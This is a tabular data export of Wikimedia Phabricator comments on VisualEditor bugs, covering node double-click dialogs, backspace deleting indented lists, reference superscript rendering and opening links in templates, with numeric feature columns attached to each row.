https://gerrit.wikimedia.org/r/84461",,,1387582091,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-etzwcnqtxa6glyvdpt5e,task_subcomment,,True,c1,3,False,,,24,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,5.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.285714285714286,0.8095238095238095,"Change 84461 abandoned by Robmoen:
WIP: Create ve.ce.ClickableNode mixin

Reason:
old

GERRIT_URL"
247309,VisualEditor: Double-clicking on a node (image/template/reference/…) should open its dialog,"Change 103062 had a related patch set uploaded by Robmoen:
Create mixin for node that responds to node click events

https://gerrit.wikimedia.org/r/103062",,,1387581872,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-etzwcnqtxa6glyvdpt5e,task_subcomment,,True,c1,3,False,,,24,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,12.0,17.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.541666666666667,0.9583333333333334,"Change 103062 had a related patch set uploaded by Robmoen:
Create mixin for node that responds to node click events

GERRIT_URL"
247300,VisualEditor: Double-clicking on a node (image/template/reference/…) should open its dialog,"Change 84461 had a related patch set uploaded by Krinkle:
WIP: Create ve.ce.ClickableNode mixin.

https://gerrit.wikimedia.org/r/84461",,,1383139276,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-etzwcnqtxa6glyvdpt5e,task_subcomment,,True,c1,3,False,,,17,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,27.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.363636363636363,0.9090909090909091,"Change 84461 had a related patch set uploaded by Krinkle:
WIP: Create ve.ce.ClickableNode mixin.

GERRIT_URL"
247292,VisualEditor: Double-clicking on a node (image/template/reference/…) should open its dialog,WIP: https://gerrit.wikimedia.org/r/#/c/84461/,,,1379374358,,PHID-USER-pun3sjvg3cemjzbgyo2t,False,,,PHID-TASK-etzwcnqtxa6glyvdpt5e,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.3333333333333335,1.0,WIP: URL
247288,VisualEditor: Double-clicking on a node (image/template/reference/…) should open its dialog,"Sherry and I would really second Erik's suggestion.
We just had feedback from a user who was clueless about what to do with ""a blue rectangle with a jigsaw icon"".",,,1378832292,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-etzwcnqtxa6glyvdpt5e,task_subcomment,,True,c1,3,False,,,10,,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,14.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,8.0,3.0,11.0,0.0,3.0,8.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,14.0,6.0,0.0,6.0,0.0,6.0,0.0,6.0,8.0,0.0,0.0,0.0,0.0,0.0,3.7222222222222223,0.8611111111111112,"Sherry and I would really second Erik's suggestion.
We just had feedback from a user who was clueless about what to do with ""a blue rectangle with a jigsaw icon""."
247282,VisualEditor: Double-clicking on a node (image/template/reference/…) should open its dialog,*** Bug 51176 has been marked as a duplicate of this bug. ***,,,1374854828,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-etzwcnqtxa6glyvdpt5e,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 51176 has been marked as a duplicate of this bug. ***
247275,VisualEditor: Double-clicking on a node (image/template/reference/…) should open its dialog,"I think this would work best for nodes (i.e., things that have a dialog) and not for annotations (i.e., things that are either toggled like bold or superscript, or have only an inspector link links or language).

This would be a lot simpler from a UX perspective (consistency of action and explainability), and the change overall is a good quick affordance win.",,,1374854811,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-etzwcnqtxa6glyvdpt5e,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,0.0,1.0,7.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,1.0,0.0,5.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,7.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.0,0.0,19.0,3.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,8.0,4.0,4.0,0.0,9.0,11.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,7.0,1.0,0.0,0.0,0.0,1.0,0.0,3.0,7.0,0.0,0.0,1.0,0.0,3.0,4.013333333333334,0.72,"I think this would work best for nodes (i.e., things that have a dialog) and not for annotations (i.e., things that are either toggled like bold or superscript, or have only an inspector link links or language).

This would be a lot simpler from a UX perspective (consistency of action and explainability), and the change overall is a good quick affordance win."
52995,VisualEditor: Backspace from (or deleteing down) into a DL breaks badly,"If you backspace-delete the newline that appears immediately prior to the indented quote of this rev (the quote that begins with ""This was a kind of blank ..""), the entire quote is deleted. This may be related to the fact that the newline shouldn't be there in the first place; it does not exist in the wikitext version of the page, nor is the text indented by means of a template. 

https://en.wikipedia.org/w/index.php?title=Ernestine_Eckstein&oldid=563439288&veaction=edit

--------------------------
**Version**: unspecified
**Severity**: major
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=50418",Medium,50.0,1373332680,1429467886.0,PHID-USER-766idcqt4jkngnnuhnrj,False,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-TASK-zy6o6x7vkuly2bz7grnv,task_description,resolved,True,c1,3,False,False,False,1,,0.0,0.0,0.0,1.0,1.5,4.0,2.0,0.0,0.0,0.5,1.5,0.5,0.0,0.0,0.0,0.0,0.0,4.5,7.5,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,5.0,2.0,1.0,0.0,0.5,0.5,0.0,0.5,0.0,0.0,0.0,0.5,2.5,0.0,0.0,0.5,1.0,0.0,13.0,1.0,0.5,0.0,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,1.0,0.0,7.5,3.0,7.0,1.0,1.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.5,7.5,1.0,0.0,1.0,0.0,1.5,0.0,1.0,1.5,0.0,0.0,0.0,0.0,0.0,3.5731516290726817,0.6721491228070176,"If you backspace-delete the newline that appears immediately prior to the indented quote of this rev (the quote that begins with ""This was a kind of blank ..""), the entire quote is deleted. This may be related to the fact that the newline shouldn't be there in the first place; it does not exist in the wikitext version of the page, nor is the text indented by means of a template. 

URL

--------------------------
**Version**: unspecified
**Severity**: major
**See Also**:
URL"
445972,VisualEditor: Backspace from (or deleteing down) into a DL breaks badly,This seems fixed now. I was able to backspace or delete anything around the indentations on the test pages without the editor exploding in my face.,,,1429467871,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-zy6o6x7vkuly2bz7grnv,task_subcomment,,True,c1,3,True,,,93,,0.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,18.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,14.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,4.0,7.0,0.0,4.0,14.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,18.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.357142857142857,0.8928571428571429,This seems fixed now. I was able to backspace or delete anything around the indentations on the test pages without the editor exploding in my face.
247232,VisualEditor: Backspace from (or deleteing down) into a DL breaks badly,"Testing at https://en.wikipedia.org/w/index.php?title=User:Thryduulf/sandbox&oldid=570858997 shows that attempting to backspace on one of the trailing new lines no longer deletes anything, it just moves the cursor to the end of the line above.",,,1377896960,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-zy6o6x7vkuly2bz7grnv,task_subcomment,,True,c1,3,False,,,8,,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,12.0,21.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,9.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,12.0,0.0,6.0,3.0,0.0,12.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,21.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,4.090909090909091,0.8484848484848485,"Testing at URL shows that attempting to backspace on one of the trailing new lines no longer deletes anything, it just moves the cursor to the end of the line above."
247227,VisualEditor: Backspace from (or deleteing down) into a DL breaks badly,"I think this might be the same bug that I encountered last night. Details and a screenshot at https://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&oldid=564667549#Indentation_with_colons_rendered_with_blank_lines._Attempting_to_delete_these_deletes_entire_section_and_cannot_be_undone

Summary: Indentation with colons is rendered in VisualEditor with one blank line per level of indent before and after the indented section. Attempting to delete one of the blank lines before the indentation unindents by one level and removing a blank line before the indented text but not removing any after it. 

Attempting to remove any of the blank lines after the indented text deletes the entire indentation section. This deletion cannot be undone.",,,1374076751,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-zy6o6x7vkuly2bz7grnv,task_subcomment,,True,c1,3,False,,,2,,2.0,0.0,0.0,1.5,2.0,8.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,1.5,2.5,11.5,0.0,1.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.5,0.0,0.0,2.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.5,0.0,0.0,11.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,0.5,0.0,0.0,8.0,2.0,6.0,0.0,3.0,11.5,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,2.0,11.5,1.5,0.0,0.0,0.0,2.0,0.0,0.5,1.5,0.0,3.5,0.0,0.0,0.0,4.519607843137255,0.7549019607843137,"I think this might be the same bug that I encountered last night. Details and a screenshot at URL

Summary: Indentation with colons is rendered in VisualEditor with one blank line per level of indent before and after the indented section. Attempting to delete one of the blank lines before the indentation unindents by one level and removing a blank line before the indented text but not removing any after it. 

Attempting to remove any of the blank lines after the indented text deletes the entire indentation section. This deletion cannot be undone."
247221,VisualEditor: Backspace from (or deleteing down) into a DL breaks badly,Also note that undo doesn't seem to work on this deletion event.,,,1373354435,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-zy6o6x7vkuly2bz7grnv,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,14.0,21.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,14.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7857142857142856,1.0,Also note that undo doesn't seem to work on this deletion event.
52978,VisualEditor: Display references rendered by {{#tag:ref}} in superscript,"Screenshot of odd rendering when using {{#tag:ref}}

https://www.mediawiki.org/wiki/VisualEditor/Basic_example_worksheet?veaction=edit

See attachment, [11] renders as span instead of as <sup> (like [10]) and as such isn'y styled correctly (text is too big).

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11600}",Medium,50.0,1373316780,1373993621.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-vqebaloi6mz6p43fpars,task_description,resolved,True,c1,3,True,False,True,1,,0.0,0.0,0.0,0.0,0.0,6.0,1.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,8.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,9.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,0.0,0.0,8.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,5.0,3.1392405063291138,0.6329113924050633,"Screenshot of odd rendering when using {{#tag:ref}}

URL

See attachment, [11] renders as span instead of as <sup> (like [10]) and as such isn'y styled correctly (text is too big).

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11600}"
246361,VisualEditor: Display references rendered by {{#tag:ref}} in superscript,Fixed and will go out later today.,,,1373993621,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-vqebaloi6mz6p43fpars,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,Fixed and will go out later today.
246353,VisualEditor: Display references rendered by {{#tag:ref}} in superscript,"Change 73980 merged by jenkins-bot:
Fake superscript style for references generated as spans

https://gerrit.wikimedia.org/r/73980",,,1373992966,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vqebaloi6mz6p43fpars,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,16.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.894736842105263,1.0,"Change 73980 merged by jenkins-bot:
Fake superscript style for references generated as spans

GERRIT_URL"
246347,VisualEditor: Display references rendered by {{#tag:ref}} in superscript,"Change 73980 had a related patch set uploaded by Esanders:
Fake superscript style for references generated as spans

https://gerrit.wikimedia.org/r/73980",,,1373991605,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vqebaloi6mz6p43fpars,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,18.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,14.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.045454545454546,1.0,"Change 73980 had a related patch set uploaded by Esanders:
Fake superscript style for references generated as spans

GERRIT_URL"
246339,VisualEditor: Display references rendered by {{#tag:ref}} in superscript,"(In reply to comment #2)
> Parsoid incorrectly renders references as <span>s. The ones directly in the
> main documented are rendered as <sup>s by VE, but we don't control the ones
> in
> templates and other generated content (and #tag is a ParserFunction).
Ugh, didn't see James's summary edit. Moving back to VE.

We could probably add CSS to make <span class=""reference""> render as a superscript, or munge it in some other way. Though ideally I'd like us to convince Parsoid to render references as <sup>s the way the PHP parser does.",,,1373850925,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-vqebaloi6mz6p43fpars,task_subcomment,,True,c1,3,False,,,2,,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,5.0,2.0,0.0,0.0,0.0,4.0,0.0,5.0,12.0,0.0,5.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,4.0,1.0,1.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,18.0,1.0,1.0,5.0,0.0,0.0,0.0,1.0,10.0,0.0,1.0,0.0,5.0,12.0,11.0,0.0,1.0,0.0,5.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,5.0,3.3780487804878048,0.7439024390243902,"(In reply to comment #2)
QUOTE
QUOTE
QUOTE
QUOTE
Ugh, didn't see James's summary edit. Moving back to VE.

We could probably add CSS to make <span class=""reference""> render as a superscript, or munge it in some other way. Though ideally I'd like us to convince Parsoid to render references as <sup>s the way the PHP parser does."
246332,VisualEditor: Display references rendered by {{#tag:ref}} in superscript,"Parsoid incorrectly renders references as <span>s. The ones directly in the main documented are rendered as <sup>s by VE, but we don't control the ones in templates and other generated content (and #tag is a ParserFunction).",,,1373850785,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-vqebaloi6mz6p43fpars,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,2.0,2.0,4.0,2.0,0.0,0.0,0.0,8.0,2.0,0.0,0.0,0.0,2.0,0.0,6.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,8.0,0.0,6.0,8.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,10.0,12.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,10.0,3.9375,0.8541666666666666,"Parsoid incorrectly renders references as <span>s. The ones directly in the main documented are rendered as <sup>s by VE, but we don't control the ones in templates and other generated content (and #tag is a ParserFunction)."
246327,VisualEditor: Display references rendered by {{#tag:ref}} in superscript,"This is confusing because the lack of superscript makes these refs look like an external link.

This happens with all pages that use [[Template:Geographic reference]], which the English template page says is ""a very large number of Wikipedia articles"", and that template exists in 15 other Wikipedias including a few on the 'maybe' list for 22 July deployment.

Example in the wild:

https://en.wikipedia.org/wiki/Branford,_Florida?veaction=edit",,,1373850409,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-vqebaloi6mz6p43fpars,task_subcomment,,True,c1,3,False,,,2,,2.0,0.0,1.0,0.0,0.0,7.0,1.0,1.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,9.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,20.0,2.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,9.0,2.0,12.0,1.0,1.0,16.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,11.0,5.0,0.0,5.0,0.0,0.0,0.0,2.0,4.0,0.0,1.0,0.0,0.0,2.0,4.049382716049383,0.7654320987654321,"This is confusing because the lack of superscript makes these refs look like an external link.

This happens with all pages that use [[Template:Geographic reference]], which the English template page says is ""a very large number of Wikipedia articles"", and that template exists in 15 other Wikipedias including a few on the 'maybe' list for 22 July deployment.

Example in the wild:

URL"
52966,VisualEditor: Provide some way of opening external links within templates,"From an editor on English Wikipedia:

On the whole, I really like it. It's basically intuitive and seems to have massively improved since I first tested it out. The main problem I'm having involves the amount of effort now required to open external links in references (especially those using {{cite web}} etc). As far as I can tell, I have to click on the footnote, then the icon, then the text of the reference, then another icon, then the url parameter, and once I'm done copy and pasting I have to close two pop-ups. Is there any way around this that I've missed? It's not an error or a bug, but it's the main barrier to efficient editing that I've encountered so far. – Arms & Hearts (talk) 16:03, 7 July 2013 (UTC)

--------------------------
**Version**: unspecified
**Severity**: enhancement",Medium,50.0,1373310540,1437782973.0,PHID-USER-joqqkabmjmvxeucx4ni2,True,PHID-USER-vixhpqcaqfpdj6impfwy,True,PHID-TASK-cc3yxgxiksoojspiwoxm,task_description,resolved,True,c1,3,False,False,False,1,,0.5,0.0,0.0,0.0,0.5,3.0,0.0,0.0,0.0,0.0,1.5,2.0,0.0,0.0,0.5,4.5,0.0,8.0,8.0,0.0,2.0,0.0,0.5,0.0,0.5,0.0,0.0,1.5,0.5,0.0,0.0,7.0,0.0,2.5,0.0,0.0,0.5,0.0,0.5,0.5,0.0,0.0,1.0,1.5,0.0,0.0,0.5,0.0,0.0,14.0,1.0,0.5,0.0,0.5,0.0,0.0,0.0,0.5,0.5,0.0,0.5,0.5,0.0,0.0,0.5,0.0,0.0,6.0,0.5,12.5,0.5,3.0,8.0,0.0,0.0,0.0,0.0,2.5,0.0,2.0,0.0,7.0,8.0,2.5,0.5,0.0,0.0,7.0,0.0,1.0,1.5,0.0,1.5,0.0,0.0,0.5,3.560512468542668,0.7379890185312286,"From an editor on English Wikipedia:

On the whole, I really like it. It's basically intuitive and seems to have massively improved since I first tested it out. The main problem I'm having involves the amount of effort now required to open external links in references (especially those using {{cite web}} etc). As far as I can tell, I have to click on the footnote, then the icon, then the text of the reference, then another icon, then the url parameter, and once I'm done copy and pasting I have to close two pop-ups. Is there any way around this that I've missed? It's not an error or a bug, but it's the main barrier to efficient editing that I've encountered so far. – Arms & Hearts (talk) 16:03, 7 July 2013 (UTC)

--------------------------
**Version**: unspecified
**Severity**: enhancement"
496813,VisualEditor: Provide some way of opening external links within templates,"It's now possible to easily open links in citations and image captions using the link inspector. The same isn't true of gallery captions, but that's because we still need to make a visual editor for galleries (T45037).",,,1437782973,,PHID-USER-vixhpqcaqfpdj6impfwy,True,,,PHID-TASK-cc3yxgxiksoojspiwoxm,task_subcomment,,True,c1,3,True,,,107,,0.0,0.0,0.0,0.0,2.0,9.0,2.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,9.0,13.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,16.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,7.0,2.0,7.0,2.0,4.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,13.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,4.044444444444444,0.9111111111111111,"It's now possible to easily open links in citations and image captions using the link inspector. The same isn't true of gallery captions, but that's because we still need to make a visual editor for galleries (T45037)."
